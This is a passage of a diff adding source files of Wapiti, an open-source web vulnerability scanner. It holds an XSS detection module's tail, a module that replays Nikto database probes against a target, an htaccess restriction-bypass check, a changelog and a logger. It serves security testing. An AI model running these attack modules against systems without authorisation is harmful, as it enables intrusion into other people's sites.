info=anom_msg,
|
||||
parameter=xss_param
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_500, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(evil_request.http_repr())
|
||||
self.log_orange("---")
|
||||
saw_internal_error = True
|
||||
|
||||
@property
|
||||
def payloads(self):
|
||||
"""Load the payloads from the specified file"""
|
||||
if not self.PAYLOADS_FILE:
|
||||
return []
|
||||
|
||||
payloads = []
|
||||
|
||||
config_reader = ConfigParser()
|
||||
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
|
||||
|
||||
for section in config_reader.sections():
|
||||
payload = config_reader[section]["payload"]
|
||||
flags = {section}
|
||||
|
||||
clean_payload = payload.strip(" \n")
|
||||
clean_payload = clean_payload.replace("[TAB]", "\t")
|
||||
clean_payload = clean_payload.replace("[LF]", "\n")
|
||||
clean_payload = clean_payload.replace(
|
||||
"[TIME]",
|
||||
str(int(ceil(self.options["timeout"])) + 1)
|
||||
)
|
||||
|
||||
payload_type = PayloadType.pattern
|
||||
if "[TIMEOUT]" in clean_payload:
|
||||
payload_type = PayloadType.time
|
||||
clean_payload = clean_payload.replace("[TIMEOUT]", "")
|
||||
|
||||
flags.add(payload_type)
|
||||
payloads.append((clean_payload, flags))
|
||||
|
||||
return payloads
|
||||
|
||||
def check_payload(self, response, flags, taint):
|
||||
config_reader = ConfigParser()
|
||||
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
|
||||
|
||||
for section in config_reader.sections():
|
||||
if section in flags:
|
||||
value = config_reader[section]["value"].replace("__XSS__", taint)
|
||||
attribute = config_reader[section]["attribute"]
|
||||
case_sensitive = config_reader[section].getboolean("case_sensitive")
|
||||
|
||||
for tag in response.soup.find_all(config_reader[section]["tag"]):
|
||||
if attribute == "string" and tag.string:
|
||||
if case_sensitive:
|
||||
if value in tag.string:
|
||||
return True
|
||||
else:
|
||||
if value.lower() in tag.string.lower():
|
||||
return True
|
||||
else:
|
||||
if attribute in tag.attrs:
|
||||
if case_sensitive:
|
||||
if value in tag[attribute]:
|
||||
return True
|
||||
else:
|
||||
if value.lower() in tag[attribute].lower():
|
||||
return True
|
||||
break
|
||||
|
||||
return False
|
|
@ -0,0 +1,251 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2009-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import csv
|
||||
import re
|
||||
import os
|
||||
import socket
|
||||
import random
|
||||
|
||||
from requests.exceptions import RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, _
|
||||
from wapitiCore.net import web
|
||||
|
||||
|
||||
# Nikto databases are csv files with the following fields (in order) :
|
||||
#
|
||||
# 1 - A unique identifier (number)
|
||||
# 2 - The OSVDB reference number of the vulnerability
|
||||
# 3 - Unknown (not used by Wapiti)
|
||||
# 4 - The URL to check for. May contain a pattern to replace (eg: @CGIDIRS)
|
||||
# 5 - The HTTP method to use when requesting the URL
|
||||
# 6 - The HTTP status code returned when the vulnerability may exist
|
||||
# or a string the HTTP response may contain.
|
||||
# 7 - Another condition for a possible vulnerability (6 OR 7)
|
||||
# 8 - Another condition (must match for a possible vulnerability)
|
||||
# 9 - A condition corresponding to an unexploitable webpage
|
||||
# 10 - Another condition just like 9
|
||||
# 11 - A description of the vulnerability with possible BID, CVE or MS references
|
||||
# 12 - A url-form-encoded string (usually for POST requests)
|
||||
#
|
||||
# A possible vulnerability is reported in the following condition :
|
||||
# ((6 or 7) and 8) and not (9 or 10)
|
||||
|
||||
|
||||
class mod_nikto(Attack):
|
||||
"""
|
||||
This class implements a Nikto attack
|
||||
"""
|
||||
|
||||
nikto_db = []
|
||||
|
||||
name = "nikto"
|
||||
NIKTO_DB = "nikto_db"
|
||||
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
user_config_dir = os.getenv("HOME") or os.getenv("USERPROFILE")
|
||||
user_config_dir += "/config"
|
||||
|
||||
if not os.path.isdir(user_config_dir):
|
||||
os.makedirs(user_config_dir)
|
||||
try:
|
||||
with open(os.path.join(user_config_dir, self.NIKTO_DB)) as fd:
|
||||
reader = csv.reader(fd)
|
||||
self.nikto_db = [line for line in reader if line != [] and line[0].isdigit()]
|
||||
except IOError:
|
||||
try:
|
||||
print(_("Problem with local nikto database."))
|
||||
print(_("Downloading from the web..."))
|
||||
nikto_req = web.Request("http://cirt.net/nikto/UPDATES/2.1.5/db_tests")
|
||||
response = self.crawler.send(nikto_req)
|
||||
|
||||
csv.register_dialect("nikto", quoting=csv.QUOTE_ALL, doublequote=False, escapechar="\\")
|
||||
reader = csv.reader(response.content.split("\n"), "nikto")
|
||||
self.nikto_db = [line for line in reader if line != [] and line[0].isdigit()]
|
||||
|
||||
with open(os.path.join(user_config_dir, self.NIKTO_DB), "w") as fd:
|
||||
writer = csv.writer(fd)
|
||||
writer.writerows(self.nikto_db)
|
||||
|
||||
except socket.timeout:
|
||||
print(_("Error downloading Nikto database"))
|
||||
|
||||
def attack(self):
|
||||
junk_string = "w" + "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 5000)])
|
||||
urls = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
server = next(urls).hostname
|
||||
|
||||
for line in self.nikto_db:
|
||||
match = match_or = match_and = False
|
||||
fail = fail_or = False
|
||||
|
||||
osv_id = line[1]
|
||||
path = line[3]
|
||||
method = line[4]
|
||||
vuln_desc = line[10]
|
||||
post_data = line[11]
|
||||
|
||||
path = path.replace("@CGIDIRS", "/cgi-bin/")
|
||||
path = path.replace("@ADMIN", "/admin/")
|
||||
path = path.replace("@NUKE", "/modules/")
|
||||
path = path.replace("@PHPMYADMIN", "/phpMyAdmin/")
|
||||
path = path.replace("@POSTNUKE", "/postnuke/")
|
||||
path = re.sub("JUNK\((\d+)\)", lambda x: junk_string[:int(x.group(1))], path)
|
||||
|
||||
if path[0] == "@":
|
||||
continue
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
|
||||
try:
|
||||
url = "http://" + server + path
|
||||
except UnicodeDecodeError:
|
||||
continue
|
||||
|
||||
if method == "GET":
|
||||
evil_request = web.Request(url)
|
||||
elif method == "POST":
|
||||
evil_request = web.Request(url, post_params=post_data, method=method)
|
||||
else:
|
||||
evil_request = web.Request(url, post_params=post_data, method=method)
|
||||
|
||||
if self.verbose == 2:
|
||||
if method == "GET":
|
||||
print("[¨] {0}".format(evil_request.url))
|
||||
else:
|
||||
print("[¨] {0}".format(evil_request.http_repr()))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(evil_request)
|
||||
except RequestException as exception:
|
||||
# requests bug
|
||||
yield exception
|
||||
continue
|
||||
else:
|
||||
yield
|
||||
|
||||
page = response.content
|
||||
code = response.status
|
||||
# encoding = BeautifulSoup(page, "lxml").originalEncoding
|
||||
# if encoding:
|
||||
# page = unicode(page, encoding, errors='ignore')
|
||||
raw = " ".join([x + ": " + y for x, y in response.headers.items()])
|
||||
raw += page
|
||||
|
||||
# First condition (match)
|
||||
if len(line[5]) == 3 and line[5].isdigit():
|
||||
if code == int(line[5]):
|
||||
match = True
|
||||
else:
|
||||
if line[5] in raw:
|
||||
match = True
|
||||
|
||||
# Second condition (or)
|
||||
if line[6] != "":
|
||||
if len(line[6]) == 3 and line[6].isdigit():
|
||||
if code == int(line[6]):
|
||||
match_or = True
|
||||
else:
|
||||
if line[6] in raw:
|
||||
match_or = True
|
||||
|
||||
# Third condition (and)
|
||||
if line[7] != "":
|
||||
if len(line[7]) == 3 and line[7].isdigit():
|
||||
if code == int(line[7]):
|
||||
match_and = True
|
||||
else:
|
||||
if line[7] in raw:
|
||||
match_and = True
|
||||
else:
|
||||
match_and = True
|
||||
|
||||
# Fourth condition (fail)
|
||||
if line[8] != "":
|
||||
if len(line[8]) == 3 and line[8].isdigit():
|
||||
if code == int(line[8]):
|
||||
fail = True
|
||||
else:
|
||||
if line[8] in raw:
|
||||
fail = True
|
||||
|
||||
# Fifth condition (or)
|
||||
if line[9] != "":
|
||||
if len(line[9]) == 3 and line[9].isdigit():
|
||||
if code == int(line[9]):
|
||||
fail_or = True
|
||||
else:
|
||||
if line[9] in raw:
|
||||
fail_or = True
|
||||
|
||||
if ((match or match_or) and match_and) and not (fail or fail_or):
|
||||
self.log_red("---")
|
||||
self.log_red(vuln_desc)
|
||||
self.log_red(url)
|
||||
|
||||
refs = []
|
||||
if osv_id != "0":
|
||||
refs.append("http://osvdb.org/show/osvdb/" + osv_id)
|
||||
|
||||
# CERT
|
||||
m = re.search("(CA-[0-9]{4}-[0-9]{2})", vuln_desc)
|
||||
if m is not None:
|
||||
refs.append("http://www.cert.org/advisories/" + m.group(0) + ".html")
|
||||
|
||||
# SecurityFocus
|
||||
m = re.search("BID-([0-9]{4})", vuln_desc)
|
||||
if m is not None:
|
||||
refs.append("http://www.securityfocus.com/bid/" + m.group(1))
|
||||
|
||||
# Mitre.org
|
||||
m = re.search("((CVE|CAN)-[0-9]{4}-[0-9]{4,})", vuln_desc)
|
||||
if m is not None:
|
||||
refs.append("http://cve.mitre.org/cgi-bin/cvename.cgi?name=" + m.group(0))
|
||||
|
||||
# CERT Incidents
|
||||
m = re.search("(IN-[0-9]{4}-[0-9]{2})", vuln_desc)
|
||||
if m is not None:
|
||||
refs.append("http://www.cert.org/incident_notes/" + m.group(0) + ".html")
|
||||
|
||||
# Microsoft Technet
|
||||
m = re.search("(MS[0-9]{2}-[0-9]{3})", vuln_desc)
|
||||
if m is not None:
|
||||
refs.append("http://www.microsoft.com/technet/security/bulletin/" + m.group(0) + ".asp")
|
||||
|
||||
info = vuln_desc
|
||||
if refs:
|
||||
self.log_red(_("References:"))
|
||||
self.log_red(" {0}".format("\n ".join(refs)))
|
||||
|
||||
info += "\n" + _("References:") + "\n"
|
||||
info += "\n".join(refs)
|
||||
|
||||
self.log_red("---")
|
||||
|
||||
self.add_vuln(
|
||||
category=Vulnerability.NIKTO,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_request,
|
||||
info=info
|
||||
)
|
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2009-2018 Nicolas Surribas
|
||||
#
|
||||
# Original authors :
|
||||
# Anthony DUBOCAGE
|
||||
# Guillaume TRANCHANT
|
||||
# Gregory FONTAINE
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from requests.exceptions import RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, _
|
||||
from wapitiCore.net import web
|
||||
|
||||
|
||||
class mod_htaccess(Attack):
|
||||
"""
|
||||
This class implements a htaccess attack
|
||||
"""
|
||||
|
||||
name = "htaccess"
|
||||
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def attack(self):
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
|
||||
for original_request in http_resources:
|
||||
url = original_request.path
|
||||
referer = original_request.referer
|
||||
headers = {}
|
||||
if referer:
|
||||
headers["referer"] = referer
|
||||
|
||||
if url not in self.attacked_get:
|
||||
if original_request.status in (401, 402, 403, 407):
|
||||
# The ressource is forbidden
|
||||
try:
|
||||
evil_req = web.Request(url, method="ABC")
|
||||
response = self.crawler.send(evil_req, headers=headers)
|
||||
unblocked_content = response.content
|
||||
|
||||
if response.status == 404 or response.status < 400 or response.status >= 500:
|
||||
# Every 4xx status should be uninteresting (specially bad request in our case)
|
||||
|
||||
self.log_red("---")
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.HTACCESS,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_req,
|
||||
info=_("{0} bypassable weak restriction").format(evil_req.url)
|
||||
)
|
||||
self.log_red(_("Weak restriction bypass vulnerability: {0}"), evil_req.url)
|
||||
self.log_red(_("HTTP status code changed from {0} to {1}").format(
|
||||
original_request.status,
|
||||
response.status
|
||||
))
|
||||
|
||||
if self.verbose == 2:
|
||||
self.log_red(_("Source code:"))
|
||||
self.log_red(unblocked_content)
|
||||
self.log_red("---")
|
||||
|
||||
self.attacked_get.append(url)
|
||||
except (RequestException, KeyboardInterrupt) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
|
@ -0,0 +1,282 @@
|
|||
11/05/2018
|
||||
Wapiti 3.0.1
|
||||
New module mod_methods to detect interesting methods which might be allowed by scripts (PUT, PROPFIND, etc)
|
||||
New module mod_ssrf to detect Server Side Request Forgery vulnerabilities (requires Internet access)
|
||||
Improved mod_xss and mod_permanentxss modules to reduce false positives.
|
||||
Changed some XSS payloads for something more visual (banner at top the the webpage).
|
||||
Changed bug reporting URL.
|
||||
Fixed issue #54 in lamejs JS parser.
|
||||
Removed lxml and libxml2 as a dependency. That parser have difficulties to parse exotic encodings.
|
||||
|
||||
03/01/2017
|
||||
Release of Wapiti 3.0.0
|
||||
|
||||
02/01/2018
|
||||
Added --list-modules and --resume-crawl options.
|
||||
|
||||
23/12/2017
|
||||
Ported to Python3.
|
||||
Persister rewritten to use sqlite3 databases (for session management).
|
||||
Added ascii-art because you know... it's an attack tool so it's required feature.
|
||||
Changed output format (stdout) to something more like sqlmap output.
|
||||
python-lxml and libxml2 are required dependencies unless you opt-out with --with-html5lib at setup.
|
||||
SOCKS5 proxy support is back.
|
||||
New -u mandatory option must be use to specify the base URL.
|
||||
Added -d (--depth) option to limit the maximum depth of links following.
|
||||
Added -H (--header) option to add HTTP headers to every request.
|
||||
Added -A (--user-agent) option to set the User-Agent string.
|
||||
Added --skip option to skip parameters during attacks.
|
||||
Added -S (--scan-force) option to control the ammount of requests sent for attacks.
|
||||
Added --max-parameters to not attack URLs anf forms having more than X input parameters.
|
||||
Added -l (--level) option to allow attacking query strings without parameters.
|
||||
Added --max-scan-time option to stop the scan after the given amount of minutes.
|
||||
Added a buster module for directory and file busting.
|
||||
Added a Shellshock detection module.
|
||||
Added buitin list of well known parameters to skip during attack.
|
||||
More control on execution flow when KeyboardInterrupt is triggered.
|
||||
Reduced false-positives situations on time-based attacks (mainly blind_sql)
|
||||
Replace getopt for argparse.
|
||||
Fixed bugs related to obtaining user's locale (issue #20).
|
||||
Enhancement to support new CVE notation [issue 37).
|
||||
Can now report minor issues (notices) besides anomalies and vulnerabilities.
|
||||
Added mod_delay module to report time consuming webpages.
|
||||
Renamed some options (should be easier to remember).
|
||||
More exec, file, xss payloads.
|
||||
Fixed a bug with JSON cookie management for IPv6 addresses and custom ports.
|
||||
XSS attack module can escape HTML comments for payload generation.
|
||||
Fixed -r issue on URLs having only one parameter.
|
||||
No SSL/TLS check by default (--verify-ssl behavior).
|
||||
Added a Mutator class for easy payload injection in parameters.
|
||||
Rewrote report generators, added Mako as a dependency for HTML reports. Less JS.
|
||||
Crash report are send to a website, opt-out with --no-bugreport.
|
||||
Improvements on backup, sql and exec modules submitted by Milan Bartos.
|
||||
Payload files can now include special flags that will be interpreted by Wapiti.
|
||||
wapiti-cookie and wapiti-getcookie were merged in a new wapiti-getcookie tool.
|
||||
|
||||
|
||||
20/10/2013
|
||||
Version 2.3.0
|
||||
Fixed a colosseum of bugs, especially related to unicode.
|
||||
Software is much more stable.
|
||||
New report template for HTML (using Kube CSS).
|
||||
Using v2.1.5 of Nikto database for mod_nikto.
|
||||
Replaced httplib2 with (python-)requests for everything related to HTTP.
|
||||
Remove BeautifulSoup from package. It is still required however.
|
||||
Core rewrite (PEP8 + more Pythonic)
|
||||
New payloads for the backup, XSS, blind SQL, exec and file modules + more
|
||||
detection rules.
|
||||
So many improvements on lswww (crawler) that I can't make a list here. But
|
||||
Wapiti reached 48% on Wivet.
|
||||
Wapiti cookie format is now based on JSON.
|
||||
Removed SOCKS proxy support (you will have to use a HTTP to SOCKS proxy).
|
||||
Added a HTTPResource class for easier module creation.
|
||||
Code restructuration for better setup.
|
||||
Attack of parameters in query string even for HTTP POST requests.
|
||||
Attack on file uploads (injection in file names).
|
||||
Simpler (and less buggy) colored output with -c.
|
||||
A CURL PoC is given for each vulnerability/anomaly found + raw HTTP
|
||||
request representation in reports.
|
||||
No more parameter reordering + can handle parameters repetition.
|
||||
Added a JSON report generator + fixed the HTML report generator.
|
||||
Added an option to not check SSL certificates.
|
||||
mod_xss : noscipt tag escaping.
|
||||
Can work on parameters that don't have a value in query string.
|
||||
mod_crlf is not activated by default anymore (must call it with -m).
|
||||
Startings URLs (-s) will be fetched even if out of scope.
|
||||
Proxy support for wapiti-getcookie. and wapiti-cookie.
|
||||
Attempt to bring an OpenVAS report generator.
|
||||
Added an home-made SWF parser to extract URLs from flash files.
|
||||
Added an home-made (and more than basic) JS interpreter based on the
|
||||
pynarcissus parser. Lot of work still needs to be done on this.
|
||||
New logo and webpage at wapiti.sf.net.
|
||||
Added german and malaysian translations.
|
||||
Added a script to create standalone archive for Windows (with py2exe).
|
||||
|
||||
29/12/2009
|
||||
Version 2.2.1 (already)
|
||||
Bugfixes only
|
||||
Fixed a bug in lswww if root url is not given complete.
|
||||
Fixed a bug in lswww with a call to BeautifulSoup made on non text files.
|
||||
Fixed a bug that occured when verbosity = 2. Unicode error on stderr.
|
||||
Check the document's content-type and extension before attacking files on
|
||||
the query string.
|
||||
Added a timeout check in the nikto module when downloading the database.
|
||||
|
||||
28/12/2009
|
||||
Version 2.2.0
|
||||
Added a manpage.
|
||||
Internationalization : translations of Wapiti in spanish and french.
|
||||
Options -k and -i allow the scan to be saved and restored later.
|
||||
Added option -b to set the scope of the scan based on the root url given.
|
||||
Wrote a library to save handle cookies and save them in XML format.
|
||||
Modules are now loaded dynamically with a dependency system.
|
||||
Rewrote the -m option used to activate / deactivate attack modules.
|
||||
New module to search for backup files of scripts on the target webserver.
|
||||
New module to search for weakly configured .htaccess.
|
||||
New module to search dangerous files based on the Nikto database.
|
||||
Differ "raw" XSS from "urlencoded" XSS.
|
||||
Updated BeautifulSoup to version 3.0.8.
|
||||
Better encoding support for webpages (convert to Unicode)
|
||||
Added "resource consumption" as a vulnerability type.
|
||||
Fixed bug ID 2779441 "Python Version 2.5 required?"
|
||||
Fixed bug with special characters in HTML reports.
|
||||
|
||||
05/04/2008
|
||||
Added more patterns for file handling vulnerabilities in PHP.
|
||||
Added GET_SQL and POST_SQL as modules (-m) for attacks.
|
||||
Modifier getcookie.py and cookie.py so they try to get the cookies
|
||||
even if cookielib fails.
|
||||
|
||||
27/03/2007
|
||||
Updated ChangeLogs
|
||||
|
||||
26/03/2009
|
||||
Fixed bug ID 2433127. Comparison was made with HTTP error codes
|
||||
on numeric values but httplib2 return the status code as a string.
|
||||
Forbid httplib2 to handle HTTP redirections. Wapiti and lswww will
|
||||
take care of this (more checks on urls...)
|
||||
Fixed a bug with Blind SQL attacks (the same attack could be launched
|
||||
several times)
|
||||
Fixed an error in blindSQLPayloads.txt.
|
||||
Changed the error message when Wapiti don't get any data from lswww.
|
||||
Verifications to be sure blind SQL attacks won't be launched if "standard"
|
||||
SQL attacks works.
|
||||
|
||||
25/03/2009
|
||||
Exported blind SQL payloads from the code. Now in config file
|
||||
blindSQLPayloads.txt.
|
||||
Set timeout for time-based BSQL attacks to timetout used for HTTP
|
||||
requests + 1 second.
|
||||
Added Blind SQL as a type of vulnerability in the report generator.
|
||||
More verbosity for permanent XSS scan.
|
||||
More docstrings.
|
||||
Updated the REAME.
|
||||
|
||||
24/03/2009
|
||||
Added some docstring to the code.
|
||||
Removed warnign on alpha code.
|
||||
First Blind SQL Injection implementation in Wapiti.
|
||||
Fixed some timeout errors.
|
||||
|
||||
22/03/2009
|
||||
Fixed character encoding error in sql injection module.
|
||||
Changed the md5 and sha1 import in httplib2 to hashlib.
|
||||
|
||||
28/11/2008
|
||||
Google Charts API is added to generate the charts of the reports.
|
||||
|
||||
15/11/2008
|
||||
Re-integration of standard HTTP proxies in httplib2.
|
||||
Integration of HTTP CONNECT tunneling in Wapiti.
|
||||
Fixed bug ID 2257654 "getcookie.py error missing action in html form"
|
||||
|
||||
02/11/2008
|
||||
Integraded the proxy implementation of httplib2 in Wapiti.
|
||||
Can now use SOCKSv5 and SOCKSv4 proxies.
|
||||
|
||||
22/10/2008
|
||||
Fixed a bug with Cookie headers.
|
||||
|
||||
19/10/2008
|
||||
Remplaced urllib2 by httplib2.
|
||||
Wapiti now use persistent HTTP connections, speed up the scan.
|
||||
Included a python SOCKS library.
|
||||
|
||||
09/10/2008
|
||||
Version 2.0.0-beta
|
||||
Added the possibility to generate reports of the vulnerabilities found
|
||||
in HTML, XML or plain-text format. See options -o and -f.
|
||||
HTTP authentification now works.
|
||||
Added the option -n (or --nice) to prevent endless loops during scanning.
|
||||
More patterns for SQL vulnerability detection
|
||||
Code refactoring : more clear and more object-oriented
|
||||
New XSS function is now fully implemented
|
||||
The payloads have been separated from the code into configuration files.
|
||||
Updated BeautifulSoup
|
||||
|
||||
15/09/2008
|
||||
Version 1.1.7-alpha
|
||||
Use GET method if not specified in "method" tag
|
||||
Keep an history of XSS payloads
|
||||
New XSS engine for GET method using a list of payloads to bypass filters
|
||||
New module HTTP.py for http requests
|
||||
Added fpassthru to file handling warnings
|
||||
Added a new new detection string for MS-SQL, submitted by Joe McCray
|
||||
|
||||
28/01/2007
|
||||
Version 1.1.6
|
||||
New version of lswww
|
||||
|
||||
24/10/2006
|
||||
Version 1.1.5
|
||||
Wildcard exclusion with -x (--exclude) option
|
||||
|
||||
22/10/2006
|
||||
Fixed a typo in wapiti.py (setAuthCreddentials : one 'd' is enough)
|
||||
Fixed a bug with set_auth_credentials.
|
||||
|
||||
07/10/2006
|
||||
Version 1.1.4
|
||||
Some modifications have been made on getccokie.py so it can work
|
||||
on Webmin (and probably more web applications)
|
||||
Added -t (--timeout) option to set the timeout in seconds
|
||||
Added -v (--verbose) option to set the verbosity. Three availables
|
||||
modes :
|
||||
0: only print found vulnerabilities
|
||||
1: print current attacked urls (existing urls)
|
||||
2: print every attack payload and url (very much informations... good
|
||||
for debugging)
|
||||
Wapiti is much more modular and comes with some functions to set scan
|
||||
and attack options... look the code ;)
|
||||
Some defaults options are availables as "modules" with option -m
|
||||
(--module) :
|
||||
GET_XSS: only scan for XSS with HTTP GET method (no post)
|
||||
POST_XSS: XSS attacks using POST and not GET
|
||||
GET_ALL: every attack without POST requests
|
||||
|
||||
12/08/2006
|
||||
Version 1.1.3
|
||||
Fixed the timeout bug with chunked responses
|
||||
(ID = 1536565 on SourceForge)
|
||||
|
||||
09/08/2006
|
||||
Version 1.1.2
|
||||
Fixed a bug with HTTP 500 and POST attacks
|
||||
|
||||
05/08/2006
|
||||
Version 1.1.1
|
||||
Fixed the UnboundLocalError due to socket timeouts
|
||||
(bug ID = 1534415 on SourceForge)
|
||||
|
||||
27/07/2006
|
||||
Version 1.1.0 with urllib2
|
||||
Detection string for mysql_error()
|
||||
Changed the mysql payload (see http://shiflett.org/archive/184 )
|
||||
Modification of the README file
|
||||
|
||||
22/07/2006
|
||||
Added CRLF Injection.
|
||||
|
||||
20/07/2006
|
||||
Added LDAP Injection and Command Execution (eval, system, passthru...)
|
||||
|
||||
11/07/2006
|
||||
-r (--remove) option to remove parameters from URLs
|
||||
Support for Basic HTTP Auth added but don't work with Python 2.4.
|
||||
Proxy support.
|
||||
Now use cookie files (option "-c file" or "--cookie file")
|
||||
-u (--underline) option to highlight vulnerable parameter in URL
|
||||
Detect more vulnerabilities.
|
||||
|
||||
04/07/2006:
|
||||
Now attacks scripts using QUERY_STRING as a parameter
|
||||
(i.e. http://server/script?attackme)
|
||||
|
||||
23/06/2006:
|
||||
Version 1.0.1
|
||||
Can now use cookies !! (use -c var=data or --cookie var=data)
|
||||
Two utilities added : getcookie.py (interactive) and cookie.py (command line) to get a cookie.
|
||||
Now on Sourceforge
|
||||
|
||||
25/04/2006:
|
||||
Version 1.0.0
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,143 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2017-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import sys
|
||||
from abc import abstractmethod
|
||||
|
||||
|
||||
class BaseLogger:
|
||||
def __init__(self):
|
||||
self._verbose = 0
|
||||
|
||||
@property
|
||||
def verbose(self):
|
||||
return self._verbose
|
||||
|
||||
@verbose.setter
|
||||
def verbose(self, value: int):
|
||||
self._verbose = value
|
||||
|
||||
@abstractmethod
|
||||
def log(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_red(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_green(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_yellow(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_cyan(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_white(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_magenta(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_blue(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def log_orange(self, fmt_string, *args):
|
||||
pass
|
||||
|
||||
|
||||
class ConsoleLogger(BaseLogger):
|
||||
# Color codes
|
||||
STD = "\033[0;0m"
|
||||
RED = "\033[0;31m"
|
||||
GREEN = "\033[0;32m"
|
||||
ORANGE = "\033[0;33m"
|
||||
YELLOW = "\033[1;33m"
|
||||
BLUE = "\033[1;34m"
|
||||
MAGENTA = "\033[0;35m"
|
||||
CYAN = "\033[0;36m"
|
||||
GB = "\033[0;30m\033[47m"
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._color = False
|
||||
|
||||
@property
|
||||
def color(self):
|
||||
return self._color
|
||||
|
||||
@color.setter
|
||||
def color(self, value: bool):
|
||||
self._color = value
|
||||
|
||||
def log(self, fmt_string, *args):
|
||||
if len(args) == 0:
|
||||
print(fmt_string)
|
||||
else:
|
||||
print(fmt_string.format(*args))
|
||||
if self.color:
|
||||
sys.stdout.write(self.STD)
|
||||
|
||||
def log_red(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.RED)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_green(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.GREEN)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_yellow(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.YELLOW)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_cyan(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.CYAN)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_white(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.GB)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_magenta(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.MAGENTA)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_blue(self, fmt_string, *args):
|
||||
if self.color:
|
||||
sys.stdout.write(self.BLUE)
|
||||
self.log(fmt_string, *args)
|
||||
|
||||
def log_orange(self, fmt_string, *args):
|
||||
